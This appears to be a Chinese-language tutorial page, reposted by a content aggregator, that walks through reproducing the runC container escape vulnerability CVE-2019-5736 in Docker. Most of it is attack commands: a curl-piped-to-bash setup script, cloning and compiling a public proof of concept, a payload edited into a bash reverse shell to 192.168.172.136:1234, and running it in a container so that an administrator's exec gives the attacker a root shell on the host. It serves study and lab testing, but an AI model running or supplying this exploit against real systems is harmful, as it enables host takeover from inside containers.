Docker逃逸--runC容器逃逸漏洞(CVE-2019-5736)
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了Docker逃逸--runC容器逃逸漏洞(CVE-2019-5736),小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含1191字,纯文字阅读大概需要2分钟。
内容图文
![Docker逃逸--runC容器逃逸漏洞(CVE-2019-5736)](/upload/InfoBanner/zyjiaocheng/1022/e7cc055525c343ff919c1e5b57cb56a7.jpg)
漏洞简述:
攻击者可以通过特定的容器镜像或者exec操作可以获取到宿主机的runC执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。
利用条件:
Docker版本 < 18.09.2,runC版本< 1.0-rc6。(在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6。)
可通过 docker 和docker-runc 查看当前版本情况。
漏洞测试复现:
1、漏洞环境准备:
curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh
或者直接下载脚本安装
1 |
|
install.sh 内容如下:
View Code
2、下载POC,编译脚本
# 下载POC git clone https://github.com/Frichetten/CVE-2019-5736-PoC # 修改Payload vi main.go payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/1234 0>&1"(设置为个人监听IP) # 编译生成payload CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
3、模仿攻击者,在容器中执行payload
# 拷贝到docker容器 sudo docker cp ./main 248f8b7d3c45:/tmp # 进入容器 sudo docker exec -it 248f8b7d3c45 /bin/bash # 修改权限 chmod 777 main # 执行Payload ./main
4、假设,管理员通过exec进入容器,从而触发Payload。
sudo docker exec -it cafa20cfb0f9 /bin/sh
5、在192.168.172.136上监听本地端口,成功获取宿主机反弹回来的shell。
内容总结
以上是互联网集市为您收集整理的Docker逃逸--runC容器逃逸漏洞(CVE-2019-5736)全部内容,希望文章能够帮你解决Docker逃逸--runC容器逃逸漏洞(CVE-2019-5736)所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。